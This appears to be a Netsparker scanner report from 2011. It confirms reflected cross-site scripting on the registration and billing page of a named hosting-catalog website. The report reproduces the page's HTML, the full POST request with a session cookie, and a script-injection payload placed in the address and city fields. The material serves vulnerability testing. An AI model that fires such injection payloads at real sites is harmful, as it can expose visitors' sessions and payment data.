<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='76E0188F5F077DBD6E7A16FE2DF5D033C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='76E0188F5F077DBD874B0F98FD2ECF1A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='76E0188F5F077DBD973780FD0ED9D4F9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBDEA917B66507F6071C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='76E0188F5F077DBD84FB45C1B5393F486F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='76E0188F5F077DBD5C792A2ACC25A560C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='76E0188F5F077DBDF355FC0C286612C3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='76E0188F5F077DBD4D629CD867E5D4C86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='76E0188F5F077DBD6D8BA6FB5A55010AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='76E0188F5F077DBD8042B6B4810B67BF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='76E0188F5F077DBDE09AD37D2A9FD1FBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='76E0188F5F077DBD99AFB73C9916816EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='76E0188F5F077DBDE3BB85ABC88A1F74C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBD03FFDA02FA5519FFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='76E0188F5F077DBD1D024C8466F2CECBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='76E0188F5F077DBD420C1851ADE85456C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='76E0188F5F077DBD16E769593A27DF256F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='76E0188F5F077DBD38B7E97A45B876916F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='76E0188F5F077DBDB657389E3F7527556F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST '"--></style></script><script>alert(0x001D88)</script>
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 544
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001D88)%3c%2fscript%3e&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:17:19 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='76E0188F5F077DBD861283D16AC620B6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='76E0188F5F077DBD6BD9D6AE648EBD286F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='76E0188F5F077DBD49FB77B1E18A73BAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBD87A019402FB1DBADC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='76E0188F5F077DBDA9F4A07E74CDA1E06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='76E0188F5F077DBD9BBF7DB490282A16C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='76E0188F5F077DBD6B6AF70CCF240354C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='76E0188F5F077DBD07FB19841CDA103B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='76E0188F5F077DBD07F7589504D5CC81C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='76E0188F5F077DBDEE1C6AC5FBE85C846F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='76E0188F5F077DBDB2215EE02B566BA8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='76E0188F5F077DBDCF7FB1A974B573CDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='76E0188F5F077DBDAB6F08E11D96523EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='76E0188F5F077DBDBDDF8C71435DC998C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='76E0188F5F077DBD9F6B32299F96F8C4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='76E0188F5F077DBD1B565D6B7322A5ACC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='76E0188F5F077DBD3335DED53E26F4056F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='76E0188F5F077DBD7FAB24429ABB85AA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='76E0188F5F077DBD904FA4CAED95772F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST '"--></style></script><script>alert(0x001D89)</script>
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
